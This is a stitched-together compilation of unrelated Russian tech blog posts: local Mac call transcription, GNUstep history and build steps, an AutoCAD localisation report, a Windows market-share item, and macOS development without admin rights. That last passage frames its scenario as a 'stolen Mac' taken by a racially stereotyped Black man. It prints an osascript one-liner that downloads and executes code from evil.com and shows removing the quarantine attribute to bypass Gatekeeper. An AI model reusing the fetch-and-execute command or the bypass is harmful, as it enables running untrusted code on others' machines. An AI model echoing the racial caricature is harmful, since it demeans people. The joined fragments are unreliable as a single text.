Del
Del
У меня по три–пять созвонов в день. Meet, Телемост, ktalk, иногда Zoom, почти всё в браузере. После встречи мне нужен текст: кто что пообещал, какие цифры прозвучали. Иначе через неделю все «да-да, мы договаривались», а ты уже не помнишь, о чём речь.
Писал звонки через OBS с захватом экрана. На самом разговоре начиналось веселье: звук квакал, всё чуть подвисало. Экран для записи мне, как потом дошло, вообще не нужен был. Нужен только звук.
Потом вторая боль. Расшифровку гонял своими скриптами на Python: конвертация, распознавание речи, разметка «кто когда говорил». На созвоне с пятью людьми половину фраз всё равно восстанавливал по памяти. Облачные сервисы вроде Otter снимают ожидание, но запись уезжает на чужой сервер, плюс подписка капает каждый месяц. Мне это не зашло: рабочие созвоны с цифрами и договорённостями не хочется отдавать чужому облаку.
За вечер собрал схему под Mac M4: один mp3 со всеми голосами, нейросеть работает прямо на ноуте, на выходе текст с таймкодами. Час звонка превращается примерно в пять минут работы машины. Платный тут только Audio Hijack: разовая лицензия, без подписки. Скрипты выложил в открытый доступ на GitHub. Ниже расскажу, как всё устроено и где я наступил на грабли.
OBS я бросил не из принципа, а потому что на живом звонке квакающий звук дороже любой бесплатности.
Взял Audio Hijack: он ловит звук из Chrome и микрофон в один файл. Для разметки голосов это важно: если писать «микрофон» и «систему» раздельно, автоматика потом не сможет разложить, кто говорил. Сессия простая: Chrome → запись, микрофон → туда же, Chrome → наушники, чтобы слышать собеседника. Галку Automatic Connectors (автосоединение блоков) выключить. Микрофон на выход не вешать, иначе слушаешь сам себя.
Перед звонком жму Run, после звонка Stop и переношу файл в рабочую папку. Бесплатный путь тоже есть: BlackHole плюс любая записывалка, но сводить два потока в один придётся руками. Hijack эту возню снимает.
Речь в текст превращает mlx-whisper: та же нейросеть Whisper, только собранная под чипы Apple M-серии, считает на встроенной графике ноута, а не на процессоре. Кто когда говорил, определяет вторая модель, pyannote: она расставляет метки «голос 1», «голос 2» (в файле это SPEAKER_00, SPEAKER_01). Имена она не угадывает; «Саша сказал» подставляю руками по первым репликам.
На той же неделе прогнал два реальных звонка. Рабочий созвон по проекту на 14 минут превратился в текст за пару минут: разобрал его сразу после Stop, задачи на неделю и цифры на месте. Урок по Cursor почти на час машина жевала около пяти минут: запись плотнее, больше пауз. Раньше на такой объём уходили часы, и половину фраз восстанавливал «на глаз».
Сейчас всё свёл в один скрипт transcribe-meeting.py. Он выкидывает типовой мусор на тишине (нейросеть любит «придумать» фразу там, где все молчат), склеивает куски, если запись разбилась, и пишет протокол встречи одним файлом. Из него потом собираются субтитры с таймкодами и обычный текст. На групповом созвоне не указываю число участников заранее: если семь голосов насильно зажать в два, они путаются ещё сильнее.
Половину времени съел не ИИ, а тупая инфраструктура.
Python не тот. Homebrew у меня остался с Intel-времён, и Python из него собран под старые процессоры. Нейросеть на таком не заводится. Проверка одной командой: python3 -c "import platform; print(platform.machine())" должна вернуть arm64. Если видите x86_64, переставляйте Python из /opt/homebrew. Мне это закрыло половину «почему ничего не работает».
Зависла загрузка модели с Hugging Face (склад нейросетей, откуда качаются веса): полоса загрузки просто молчала. Подождал, плюнул, скачал файлы напрямую в папку на диске и указал путь в скрипте. Заработало с первого раза.
Pyannote — отдельный квест. Модель закрытая: на сайте Hugging Face нужно нажать «Accept» на двух страницах и войти в аккаунт из терминала. Пропустил одну страницу — получите отказ в доступе при первом же запуске. Я в тот вечер накликал три «Accept», потому что заодно пробовал ещё один вариант модели. Для базового сценария хватает двух.
Ещё честно: на стыках коротких реплик pyannote путает голоса. На групповых созвонах иногда один «голос» склеивает двух людей — тогда правлю по таймкодам в протоколе, а не вслепую. Whisper на тишине тоже фантазирует; скрипт часть режет и складывает всё вырезанное отдельным списком в тот же протокол, чтобы можно было проверить глазами.
Если у вас Mac на M-чипе и созвоны в браузере, проверьте три вещи, прежде чем платить подписку облачному транскрибатору:
Запись не должна грузить созвон. OBS с полным захватом экрана часто квакает. Звук из браузера плюс микрофон в один файл — нормальная цель.
Один файл, все голоса вместе. Раздельные дорожки «система» и «микрофон» потом не разложить по говорящим автоматически.
Локально значит на вашем диске. Час аудио с договорённостями и цифрами не обязан улетать на чужой сервер ради экономии пятнадцати минут вашего времени.
Если полезно — скрипты с инструкцией лежат тут: github.com/naimax/mac-call-transcribe. Развёрнутый гайд с чеклистом и картинками: aivibecraft.ru/blog/local-call-transcription-mac-m4. Там же про чистку выдуманных фраз и групповые созвоны.
Вы как пишете созвоны: OBS, встроенная запись Zoom, облачный сервис, или вообще «на память и блокнот»? Сколько платите в месяц, если пользуетесь Otter/Fireflies и похожим? Интересно сравнить, не один ли я бесился с квакающим звуком.
Дневник про нейросети и разработку веду в MAX: там же разборы инцидентов вроде «ИИ-помощник убил рабочую базу за 9 секунд».
В удивительном мире разврата и декаданса ИТ существуют проекты, узнав о которых можно сильно поменять свои взгляды на разработку, жизнь и саму реальность. Об одном из таких проектов и пойдет наш рассказ.
Нет, речь пойдет не про волшебные мухомор.. алкогольный делирий а всего лишь про очередную сложную штуку для программистов — графический фреймворк.
Но особенный фреймворк, появление которого было шуткой, реальное использование — дичью, а современное применение является уже чистым фанатизмом.
Даже краткая аннотация из википедии легко вгоняет в диссонанс современных MacOS‑разработчиков:
GNUstep — свободная реализация Cocoa (ранее OpenStep) — объектно-ориентированного API (Objective-C) для объектно-ориентированных операционных систем.
Objective‑C (основной язык разработки под MacOS и iOS) и свободная реализация Cocoa (главный UI/UX фреймворк Apple) — расскажите об этом типичному разработчику под Mac, потратившему несколько тысяч долларов на покупку железа Apple и платную подписку на XCode, увидите как у человека начинается нервный тик.
Еще можно троллинга шутки ради сдать тестовое задание на позицию «MacOS Developer»:
#import <AppKit/AppKit.h>
int main(int argc, const char *argv[])
{
return NSApplicationMain (argc, argv);
}
Код выше ничем не отличается от стандартного main() на обычном маковском Objective-C, при этом никакого отношения к Apple и MacOS не имеет.
Даже если немного усложнить и углубиться в реализацию:
@implementation CalcBrain: NSObject
-(id) init
{
[super init];
result = 0;
enteredNumber = 0;
operation = none;
fractionalDigits = 0;
decimalSeparator = NO;
editing = YES;
face = nil;
return self;
}
Отличия все равно будут минимальны. Настолько минимальны, что неподготовленный разработчик, не знающий о существовании проекта GNUStep не сможет отличить с первой попытки.
Вот так выглядит «showcase» GNUStep — тестовое приложение с демонстрацией функционала:
Разумеется история появления такого чуда не менее прекрасна и удивительна:
Проект был начат Паулем Кунцем (Paul Kunz) с командой из Стенфордского Центра линейного ускорителя (Stanford Linear Accelerator Center) которым был нужен порт HippoDraw из NeXTSTEP на другую платформу. Вместо того, чтобы переписывать программу с нуля, используя ее архитектуру, разработчики решили переписать слой NeXTSTEP, от которого зависело приложение. Это была первая версия libobjcX.
Именно так выглядит настоящий хардкор в разработке:
взять и переписать часть операционной системы ради портирования одного приложения.
«Как тебе такое, Илон Маск?» (ц)
Справедливости ради стоит заметить, что в те былинные времена графические библиотеки были сильно проще, а само действо происходило в «закрытом НИИ» и на государственные гранты. Что конечно несколько отличается от современных потогонных реалий и перегретого рынка разработки ПО.
Поэтому не удивляйтесь, когда на предложение «переписать часть операционной системы в рамках проекта» вместо одобрения или хотя‑бы обсуждения, вам сразу же вызовут санитаров из дурки.
А кое-где уже cуществовал самый настоящий Graphical Interface Builder:
Вот в качестве иллюстрации снимок с ЭЛТ монитора тех лет:
Это не шутка, самый настоящий конструктор интерфейсов был реализован еще в далеком 1988 году:
Gorm (Graphical Object Relationship Modeller) is a graphical user interface builder application. It is part of the developer tools of GNUstep. Gorm is the equivalent of Interface Builder that was originally found on NeXTSTEP, then OPENSTEP, and finally on Mac OS X. It supports the old .nib files as well as its own .gorm file format.
Был создан и работал задолго до рождения большинства читающих сейчас эту статью. Вот вам для иллюстрации еще один снимок тех лет, с местной «косынкой»:
NeXTSTEP 0.8 запущенный в эмуляторе.
А теперь внимание на даты:
A preview release of NeXTSTEP (version 0.8) was shown with the launch of the NeXT Computer on October 12, 1988
Мне тогда было 5 лет а на дворе был Советский Союз. Для сравнения, вот так примерно в те времена выглядел весь софт в СССР а затем и в РФ:
Да, это FoxPro. Ощутили разницу?
Так что шаблон «раньше был страшный черный MS DOS и текстовые интерфейсы» только что треснул.
Еще один замечательный и интересный пример:
Текущая версия текстового редактора Ink.
Видите на снимке выше открытый текстовый документ, с разными шрифтами, кернингом и лигатурой?
Как бы это не было удивительно, но данный функционал был реализован невероятно, даже шокирующе давно — вот так выглядел в 1988 году его далекий предок:
Внимание на верхний правый угол: Next 0.8 от 1987 года (!)
Расширение файла .wn не что иное как формат текстового процессора WriteNow:
WriteNow is a word processor application for the original Apple Macintosh and later computers in the NeXT product line. The application is one of two word processors that were first developed with the goal that they be available at the time of the Mac product launch in 1984, and was the primary word processor for computers manufactured by NeXT.[2
Так что корни современных текстовых процессоров уходят невероятно далеко в прошлое, дальше чем вы думали.
Рабочая станция Next "Cube".
Компания NeXT давно закрыта, никакие ее продукты уже давно не продаются, даже само API OpenStep — фактически заброшено, а «свободная реализация» в виде GNUstep на сегодняшний день выглядит как оживший труп из далекого прошлого.
Но нашлись таки
некрофилыинтересные личности, которые в погоне за прибылью откопали и оживили это чудо для использования в реальном продукте.
Ни за что не догадаетесь кто это все затеял и зачем, что лишний раз показывает как мало мы знаем о мире информационных технологий:
Windows Bridge for iOS (codenamed "Islandwood") is an open-source middleware toolkit that allows iOS apps developed in Objective-C to be ported to Windows 10 by using Visual Studio 2015 to convert the Xcode project into a Visual Studio project.[7][9][10] An early build of Windows Bridge for iOS was released as open-source software under the MIT License on August 6, 2015, while the Android version was in closed beta.[7]
This "WinObjC" project is open source on GitHub. It contains code from various existing implementations of Cocoa Touch like Cocotron and GNUstep as well as Microsoft's own code that implements iOS frameworks using UWP methods. It uses a version of the LLVM clang compiler.[11]
Вот такие дела: Microsoft использовал исходный код GNUStep для создания конвертера проектов XCode под Windows. Причем проект очень даже живой.
Но выглядит это.. весьма своеобразно:
Праздник «старой школы» был бы неполным без рассказа о том как собрать и запустить GNUstep своими силами.
Для написания статьи использовался Mageia Linux, но инструкции актуальны и для всех других дистрибьютивов и ОС.
Поскольку проект GNUstep находится в полузаброшенном состоянии, не стоит пытаться ставить его из пакетов — в большинстве дистрибутивов эти пакеты не имеют ментейнера и присутствуют «для галочки», просто потому что собираются.
Вместо этого, мы соберем GNUstep непосредственно из исходников.
Начать придется со своей специфичной и уникальной системы сборки:
The makefile package is a simple, powerful and extensible way to write makefiles for a GNUstep-based project. It allows the user to write a project without having to deal with the complex issues associated with configuration, building, installation, and packaging. It also allows the user to easily create cross-compiled binaries.
Да, я тоже был удивлен, но наверное не так сильно, поскольку многие старые проекты (например оригинальный CDE) имеют собственные системы сборки.
Забираем это чудо:
Собираем:
cd tools-make
./configure --prefix=/opt/gnustep
make
make install
Как видите тут используется ключ --prefix - указание на установку в нестандартное место, которое нужно чтобы собираемый проект не попал при установке в системные каталоги.
Еще это означает, что придется добавлять путь /opt/gnustep в переменные окружения, либо в LD_LIBRARY_PATH либо в PATH:
export PATH=/opt/gnustep/bin:$PATH
Следующим шагом собираем commons — общую библиотеку классов:
The GNUstep Base Library is a library of general-purpose, non-graphical Objective C objects. For example, it includes classes for strings, object collections, byte streams, typed coders, invocations, notifications, notification dispatchers, moments in time, network ports, remote object messaging support (distributed objects), and event loops.
Стоит помнить, что речь идет об использовании этих библиотек для сборки, поэтому необходимо устанавливать версии пакетов «для разработчиков» — с заголовочными.h файлами.
Забираем исходный код проекта:
git clone https://github.com/gnustep/libs-base.git
Запускаем сборку:
./configure --prefix=/opt/gnustep
make
make install
Следующий шаг — сборка еще одной общей библиотеки, в этот раз графической, отвечающей за интерфейс:
The GNUstep gui library is a library of graphical user interface classes written completely in the Objective-C language; the classes are based upon Apple's Cocoa framwork (which came from the OpenStep specification). These classes include graphical objects such as buttons, text fields, popup lists, browser lists, and windows; there are also many associated classes for handling events, colors, fonts, pasteboards and images.
Каких-либо проблем с этими библиотеками не было, поскольку они все старые и очень стабильные. Забираем исходники:
git clone https://github.com/gnustep/libs-gui.git
Собираем:
./configure --prefix=/opt/gnustep
make
make install
Еще одна библиотека, в этот раз — с реализацией «бекэнда» графического рендера. Забираем исходный код:
git clone https://github.com/gnustep/libs-back.git
Собираем:
./configure --prefix=/opt/gnustep
make
make install
Перед запуском конечных приложений на GNUstep необходимо выполнить:
defaults write NSGlobalDomain GSBackend libgnustep-xlib
Эта команда установит бекэнд по-умолчанию, сама настройка будет сохранена в каталоге ~/GNUstep
На этом сборка самого фреймворка GNUstep завершена и можно наконец запускать примеры.
Выложены в официальный репозиторий Github, вместе с самим проектом GNUstep, все примеры отлично собираются и запускаются.
Забираем исходники:
Каждый пример является отдельным проектом, собираемым через специфичный make GNUstep, поэтому для сборки необходимо иметь путь /opt/gnustep в переменной PATH.
Вот так выглядит в работе пример графического редактора:
Этот скриншот был опубликован на ЛОРе.
Также стоит рассказать о еще двух интересных проектах из мира древних и усопших.
Тот самый «interface builder», которым я столько восхищался в начале статьи:
Gorm (Graphical Object Relationship Modeller) is a graphical user interface builder application. It is part of the developer tools of GNUstep. Gorm is the equivalent of Interface Builder that was originally found on NeXTSTEP, then OPENSTEP, and finally on Mac OS X. It supports the old .nib files as well as its own .gorm file format.
В запущенном виде он выглядит как-то так:
И сейчас мы будем его собирать, забираем исходный код:
git clone https://github.com/gnustep/apps-gorm.git
Напоминаю про специфичный make для GNUstep и необходимость наличия /opt/gnustep в переменной PATH, сама сборка выполняется вот так:
make
К сожалению autotools для этого проекта нет, поэтому попытка использования make install приведет к установке в системный каталог /usr/lib, что разумеется не очень надо.
Поэтому для теста было решено запускать бинарник gorm сразу из места сборки:
export LD_LIBRARY_PATH=/opt/gnustep/lib:./InterfaceBuilder/obj:./GormObjCHeaderParser/obj:./GormCore/GormCore.framework/Versions/0
./Applications/Gorm/Gorm.app/Gorm
За что я конечно буду гореть в аду для программистов. Но потом.
Да, у них в могиле есть даже свой собственный IDE:
IDE — Integrated Development Environment. PC manages code and builds applications, frameworks and libraries, use GORM for Interface editing.
И его тоже я смог собрать и запустить, выглядит в работе он как-то так:
Забираем:
Сборка аналогична описанной выше сборке проекта Gorm, по тем же причинам я снова произвел «закат солнца вручную» для запуска:
export LD_LIBRARY_PATH=/opt/gnustep/lib:./Framework/ProjectCenter.framework/Versions/0.7.0
./ProjectCenter.app/ProjectCenter
После размещения статьи на ЛОРе, читатели задали интересный вопрос по поводу совместимости с оригинальной и современной Cocoa. Был взят минимальный пример и немного адаптирован:
#import <Cocoa/Cocoa.h>
int main()
{
[NSAutoreleasePool new];
[NSApplication sharedApplication];
[NSApp setActivationPolicy:NSApplicationActivationPolicyRegular];
id menubar = [[NSMenu new] autorelease];
id appMenuItem = [[NSMenuItem new] autorelease];
[menubar addItem:appMenuItem];
[NSApp setMainMenu:menubar];
id appMenu = [[NSMenu new] autorelease];
id appName = [[NSProcessInfo processInfo] processName];
id quitTitle = [@"Quit " stringByAppendingString:appName];
id quitMenuItem = [[[NSMenuItem alloc] initWithTitle:quitTitle
action:@Selector(terminate:) keyEquivalent:@"q"] autorelease];
[appMenu addItem:quitMenuItem];
[appMenuItem setSubmenu:appMenu];
id window = [[[NSWindow alloc] initWithContentRect:NSMakeRect(10, 10, 200, 200)
styleMask:NSTitledWindowMask backing:NSBackingStoreBuffered defer:NO]
autorelease];
[window setTitle:appName];
[window makeKeyAndOrderFront:nil];
[NSApp activateIgnoringOtherApps:YES];
[NSApp run];
return 0;
}
И.. оно заработало! Пусть и с минимальными переделками, но заработало.
Вот так выглядит запущенное приложение на Linux:
Разработка GNUstep как ни странно до сих пор продолжается, так выглядит наверное самое популярное приложение (из еще актуальных) на этом фреймворке:
Но только все графические примитивы и паттерны использования, заложенные в GNUstep — устарели, слабо представляю как такой UI/UX возможно соотнести с современным использованием десктопа, даже профессионального.
А вы смогли бы пользоваться таким ПО каждый день?
Ну и наконец последний разрыв шаблона на сегодня:
вы можете легко и просто поставить GNUstep.. на Windows.
Вот так это выглядит в работе:
Даже готовый инсталлятор есть, так что ничего не помешает «прикоснуться к прекрасному с минимальными усилиями».
Разумеется как NEXTstep так и GNUstep ныне являются чистой историей, поскольку даже заложенные в них подходы к построению UI/UX — концептуально устарели. Устарели настолько, что пользоваться таким интерфейсом даже автору (видевшему многое) — откровенно тяжело.
Реальное практическое использование фреймворка GNUstep для разработки современного ПО честно говоря — на уровне фантастики, поэтому остается только для кино и самых ярых фанатов.
Тем не менее, о существовании такого проекта стоит знать, хотя‑бы для понимания — насколько далеко в прошлое уходят корни современных технологий.
Но рабочие станции конечно были очень красивые, для тех-то лет:
P.S.
Статья была опубликована на Хабре, более трешевый оригинал которой доступен в нашем блоге.
С момента первого поста прошло 7 месяцев и буквально вчера я полностью закончил работу над проектом. По ощущениям, поддержка русского языка ни чем не отличается от любого другого языка. Постараюсь в кратце описать свою работу.
Программа 100% на русском языке, работают все КОМАНДЫ.
Самым трудным из всей работы была главная страница - вкладка "Начало". Файлы уже содержали русский язык, но страница упорно не загружалась. Помог Copilot, перебирая все возможные способы, через пару дней страница завелась, НО она в любой локализации отображается на русском языке. Исправлять это я уже не стал, цель была достигнута и я остался доволен, потому как сил и терпения не осталось возится с ней.
Самым долгим и муторным оказалась выправка перевода КОМАНД. Из за растянутого во времени перевода файлов, получалось что одна и та же команда могла быть переведена по разному в разных файлах. Тут только ручной поиск и замена.
Сильно помогло написания двух скриптов на python, один извлекал из файлов пару "КЛЮЧ" = "ЗНАЧЕНИЕ" из немецкой локализации, другой возвращал уже переведенные строки на русский язык в исходный файл. Такой способ помог мне в разы быстрее переводить файлы. Были и другие полезные скрипты для проверки: не переведенных строк, кодировки, для поиска.
Перевод и тестировка заняли примерно 40/60 % времени.
За время работы, по заявкам моего маленького сообщества, были написаны разные lisp скрипты, которые я потом объединил в один .bundle. Работает плагин просто, по вызову короткой команды.
Также я применил подмену перевода к трём диалоговым окнам: "Параметры приложения" и "Рисование" и ещё одно, забыл название, потому как они были созданы совсем в другом формате и скомпилированны. В итоге на таких костылях работают только вкладка Начало и эти три диалоговых окна.
За время работы меня забанили на X.com - временно до удаления поста, на DWG.ru забанили перманентно за просьбу о помоще в локализации программы, без объяснения причин. Удалили мои посты на форуме Autodesk, хорошо хоть здесь пока не забанили😁. А совсем недавно, случайно наткнулся на объявление на Авито о продаже за 1500 руб. услуги по установке AutoCAD for Mac 2025 + русская локализация. Есть конечно мизерный шанс что это не моя работа, но он такой же мизерный, как выиграть Джекпот в Русском лото.
В общем есть планы на дальнейшее развитие и переход на версию 2027, так же сейчас занимаюсь переводом офлайн справки.
Всем удачи, хорошего настроения, пока!




Доля Windows на рынке десктопных ОС впервые просела ниже 60 % по всему миру. Об этом пишут со ссылкой на свежую статистику сервиса StatCounter. Раньше система Microsoft уверенно держала намного большую часть рынка, а теперь позиции заметно сдают. На фоне этого конкуренты вроде Mac OS и Linux понемногу отъедают свою долю.
С развитием ИИ отпал смысл копить специфические знания. Яркий пример - мусорные знания о Windows (многих это удерживало на этой ОС). ИИ настолько упростил освоение операционных систем, что люди теперь без проблем переходят на нормальные ОС.
Рассказываю и показываю, что можно сотворить с компьютером Apple без прав администратора и стандартных средств разработки. Написано специально для подрыва пердаков маководам, так что запасайтесь попкорном.
Невозможный скриншот, по мнению официальной техподдержки и обычных разработчиков под продукцию Apple.
Apple не очень любит внимание к внутренностям своих продуктов и мягко говоря не поощряет какие-либо изыскания в них, по поводу и без. Несмотря на то что уже была попытка раскрытия исходного кода ядра (довольно быстро остановленная), «userland» — пользовательское окружение всегда был и остается закрытым.
Книг и материалов по внутреннему устройству как «большой» MacOS так и мобильной iOS откровенно мало, а изложенная там информация сильно напоминает передачу «Поле чудес» реалии Microsoft Windows времен 90х:
недокументированные функции, непонятные сервисы, домыслы, мнения и догадки.
Разве что колдовства и магических ритуалов пока нет.
Поэтому изложенный материал потребовал многих лет практики и изучения MacOS, описанное в статье не «гуглится» поисковиками, не подсказывается нейросетью и вообще мало афишируется широкой публике.
Ниже я покажу несколько интересных трюков связанных с разработкой ПО на абсолютно чистой пользовательской MacOS, без какого-либо установленного дополнительного инструментария и без прав администратора.
Последнее очень важно, поскольку права администратора нужны в MacOS практически для всего более-менее интересного:
изменения настроек ОС, установки нового ПО, доступа к некоторым каталогам и даже определенным действиям вроде записи экрана.
Представьте что вы — огромный негр с золотой цепью из Бруклина и только что отжали новенький Mac у какого‑то ботана. Доступ на рабочий стол есть (он автоматический), но пароля администратора вы не знаете. Однако прежде чем толкать паль ближайшему скупщику ради денег на крэк, вы вдруг решили заняться разработкой ПО под MacOS.
С кем не бывает.
Главное не забудьте потом записать трек про вашу нелегкую жизнь и «вкатывание в ИТ» столь необычным способом.
(PR‑менеджер просил кейс использования для материала — я предоставил)
Ради этой статьи была развернута чистая копия последней «MacOS Sonoma» в виртуальной машине, с абсолютно стандартным набором пользовательского ПО. Именно такую систему вы получите при покупке свежего Mac в официальном магазине Apple в NY.
Для начала кратко пройдусь по возможностям MacOS и тому что в ней есть «из коробки». Начнем с двух самых важных для разработчика приложений: консольного терминала и текстового редактора.
Запускаются они с помощью Launchpad, путем ввода названий в строку поиска. Для запуска терминала вводите terminal, для текстового редактора edit.
Вот так выглядит запущенный терминал:
И редактор (c переключением вида на обычный текст):
MacOS это самый настоящий Unix, в котором есть практически все стандартные консольные утилиты: bash, grep, ps, top, pwd, uname и так далее — отличия от какой-нибудь современной Ubuntu минимальны, если не начать углубляться в детали.
Но к сожалению в чистой MacOS практически полностью отсутствуют средства разработки и вместо настоящих приложений установлены заглушки, попытка вызова которых выдает стандартный диалог:
К счастью даже в установке MacOS по-умолчанию присутствуют два серьезных интерпретатора скриптовых языков: Perl и Tcl. И кое-что еще, куда более мощное.
Оочень мощная штука, страшное оружие в умелых руках и доступная в любой MacOS практически с первых версий.
Разумеется это старая добрая 5я версия (да это шутка для посвященных):
Встроенный в MacOS Perl не совсем обычный — в нем сразу установлены модули Foundation и PerlObjCBridge, которые позволяют взаимодействовать с нативными приложениями на Objective‑C и API самой MacOS из скриптов на Perl.
Напоминаю, если кто-то из читателей не в курсе:
приложения на Objective-C взаимодействуют через специальные сообщения — события.
Поэтому благодаря этим модулям у вас появляется возможность влезть на этот праздник жизни из скриптов на Perl.
Для примера работа с нативными строками:
#!/usr/bin/perl
use Foundation;
$s1 = NSString->stringWithCString_("Hello ");
$s2 = NSString->alloc()->initWithCString_("World");
$s3 = $s1->stringByAppendingString_($s2);
printf "%s\n", $s3->cStri>cString();
А вот так выглядит получение имени хоста:
#!/usr/bin/perl
use Foundation;
$hostName = NSProcessInfo->processInfo()->hostName();
printf "%s\n", $hostName->cString();
К сожалению в этой версии нет поддержки работы с интерфейсом:
This version of PerlObjCBridge does not directly support writing GUI Cocoa applications in Perl.
Зато все остальное работает на ура, например вот такой классический HTTP-сервер:
#!/usr/bin/perl
use strict;
use warnings;
use CGI qw/ :standard /;
use Data::Dumper;
use HTTP::Daemon;
use HTTP::Response;
use HTTP::Status;
use POSIX qw/ WNOHANG /;
use constant HOSTNAME => qx{hostname};
my %O = (
'listen-host' => '127.0.0.1',
'listen-port' => 8080,
'listen-clients' => 30,
'listen-max-req-per-child' => 100,
);
my $d = HTTP::Daemon->new(
LocalAddr => $O{'listen-host'},
LocalPort => $O{'listen-port'},
Reuse => 1,
) or die "Can't start http listener at $O{'listen-host'}:$O{'listen-port'}";
print "Started HTTP listener at " . $d->url . "\n";
my %chld;
if ($O{'listen-clients'}) {
$SIG{CHLD} = sub {
# checkout finished children
while ((my $kid = waitpid(-1, WNOHANG)) > 0) {
delete $chld{$kid};
}
};
}
while (1) {
if ($O{'listen-clients'}) {
# prefork all at once
for (scalar(keys %chld) .. $O{'listen-clients'} - 1 ) {
my $pid = fork;
if (!defined $pid) { # error
die "Can't fork for http child $_: $!";
}
if ($pid) { # parent
$chld{$pid} = 1;
}
else { # child
$_ = 'DEFAULT' for @SIG{qw/ INT TERM CHLD /};
http_child($d);
exit;
}
}
sleep 1;
}
else {
http_child($d);
}
}
sub http_child {
my $d = shift;
my $i;
my $css = <<CSS;
form { display: inline; }
CSS
while (++$i < $O{'listen-max-req-per-child'}) {
my $c = $d->accept or last;
my $r = $c->get_request(1) or last;
$c->autoflush(1);
print sprintf("[%s] %s %s\n", $c->peerhost, $r->method, $r->uri->as_string);
my %FORM = $r->uri->query_form();
if ($r->uri->path eq '/') {
_http_response($c, { content_type => 'text/html' },
start_html(
-title => HOSTNAME,
-encoding => 'utf-8',
-style => { -code => $css },
),
p('Here are all input parameters:'),
pre(Data::Dumper->Dump([\%FORM],['FORM'])),
(map { p(a({ href => $_->[0] }, $_->[1])) }
['/', 'Home'],
['/ping', 'Ping the simple text/plain content'],
['/error', 'Sample error page'],
['/other', 'Sample not found page'],
),
end_html(),
)
}
elsif ($r->uri->path eq '/ping') {
_http_response($c, { content_type => 'text/plain' }, 1);
}
elsif ($r->uri->path eq '/error') {
my $error = 'AAAAAAAAA! My server error!';
_http_error($c, RC_INTERNAL_SERVER_ERROR, $error);
die $error;
}
else {
_http_error($c, RC_NOT_FOUND);
}
$c->close();
undef $c;
}
}
sub _http_error {
my ($c, $code, $msg) = @_;
$c->send_error($code, $msg);
}
sub _http_response {
my $c = shift;
my $options = shift;
$c->send_response(
HTTP::Response->new(
RC_OK,
undef,
[
'Content-Type' => $options->{content_type},
'Cache-Control' => 'no-store, no-cache, must-revalidate, post-check=0, pre-check=0',
'Pragma' => 'no-cache',
'Expires' => 'Thu, 01 Dec 1994 16:00:00 GMT',
],
join("\n", @_),
)
);
}
Совершенно спокойно работает на девственно чистой MacOS, без каких-либо дополнительных библиотек и установленных средств разработки:
Даже этой столь простой версии хватит чтобы создавать простейшие веб-приложения и воровать данные.
Дедушка и бабушка современных скриптовых языков, ненавидимый лично Столлманом про который я успел написать отдельную статью.
Из интересного для пролетариев от разработки, не владеющих этим замечательным языком, отмечу, что в MacOS оно позволяет «из коробки» работать с интерфейсом — рисовать диалоги, кнопки, списки и так далее без установленных средств разработки, без каких‑либо внешних библиотек, SDK или компиляторов.
Вот так для примера выглядит простейший калькулятор:
Разумеется будут работать и все остальные возможности этого языка: работа с сетью, файлами, юникодом и всем прочим интересным. Но это цветочки, по сравнению с главной имбой для творения всякого необычного и нехорошего.
Начну с цитаты:
AppleScript — язык сценариев, созданный Apple и встроенный в macOS, используемой на компьютерах корпорации начиная с System 7.
И пусть вас не смущают слова «сценарий» и «команды выполнения», это на самом деле страшная штука в умелых руках.
Посмотрите на такой пример:
osascript -l JavaScript -i eval(ObjC.unwrap( $.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('https://evil.com/evil')),$.NSUTF8StringEncoding )) );
Тут на самом деле очень много интересного, для знающих и владеющих:
в одной строке происходит скачивание и немедленное выполнение командного кода с синтаксисом Javascript.
osascript — командный интерпретатор для сценариев AppleScript, ключ -l указание на синтаксис Javascript, -i это interactive mode, однострочный скрипт. А NSString, NSData и NSURL — уже системные классы.
Вот так можно отправить стандартное оповещение из скрипта:
osascript -e 'display notification "" with title "test"'
Обратите внимание на синтаксис — это стандартный синтаксис AppleScript.
Результат выполнения выглядит вот так:
Но на самом деле все описанное — мелочи, специфичные инструменты, работать с которыми без внешних библиотек вообщем-то сложно а главное неприятно. Поэтому мы переходим наконец к «большой разработке» и современному инструментарию.
Но прежде решим проблему с одной заразой, мешающей спокойной жизни и работе честных людей, на ворованном маке и без прав администратора.
В последних версиях MacOS добавили хтоническую дичь под названием Gatekeeper:
macOS includes a technology called Gatekeeper, that's designed to ensure that only trusted software runs on your Mac.
The safest place to get apps for your Mac is the App Store. Apple reviews each app in the App Store before it’s accepted and signs it to ensure that it hasn’t been tampered with or altered. If there’s ever a problem with an app, Apple can quickly remove it from the store.
Как только вы попробуете скачать бинарник, скрипт или архив из интернета и запустить — увидите вот такое страшное предупреждение:
Работает оно через специальный атрибут, устанавливаемый на каждый скачанный файл:
К счастью данный атрибут легко и просто снимается командой:
xattr -d com.apple.quarantine ./ld64.lld
После чего бинарник совершенно спокойно запускается без каких-либо ограничений:
Имейте ввиду что атрибут карантина ставится автоматически на все файлы внутри архива при распаковке если не был снят с самого архива. Поэтому необходимо снимать атрибут карантина с архива до его распаковки, а именно архивы мы и будем использовать далее, поскольку для нормальной установки ПО нужны права администратора.
Также здесь и далее я буду использовать архитектуру x86_64, как самую распространенную. Но даже если у вас совсем новый мак на M1 — все равно обязательно будет поддержка x86_64 и бинарники под эту архитектуру будут запускаться.
Открываете стандартный браузер Safari и скачиваете с официального сайта готовую бинарную сборку, версию в архиве (не инсталлятор), прямая ссылка для скачивания тут.
Safari считает себя умнее типичного пользователя Mac (и не без оснований), поэтому частично распакует архив самостоятельно — после скачивания и вместо файла .tar.gz у вас будет просто.tar.
Снимаем атрибут карантина и распаковываем:
xattr -d com.apple.quarantine ~/Downloads/node-v20.11.1-darwin-x64.tar
tar xvf ~/Downloads/node-v20.11.1-darwin-x64.tar
Запускаем bash и добавляем каталог с Node.js в переменную PATH:
export PATH=~/work/node-v20.11.1-darwin-x64/bin:$PATH
Проверяем что node доступна из окружения:
node -v
Команда выше должна успешно выполниться и отобразить версию установленной Node.js.
Также вместе с Node.js должен быть и пакетный менеджер NPM:
npm -v
Этого уже хватит для разработки какого-то простого приложения на Node.js, так что переходим к более серьезным вещам.
Вот про эту штуку вы точно не знали:
Based on a simple multi-version dependencies manager (built on top of npm), the xPack project aims to provide a set of cross-platform tools to manage, configure and build complex, modular, multi-target (multi-architecture, multi-board, multi-toolchain) projects, in a reproducible way, with an emphasis on C/C++ and bare-metal embedded projects.
Сие порождение сумрачного гения — пакетный менеджер, работающий поверх npm для нативных библиотек и инструментов разработки.
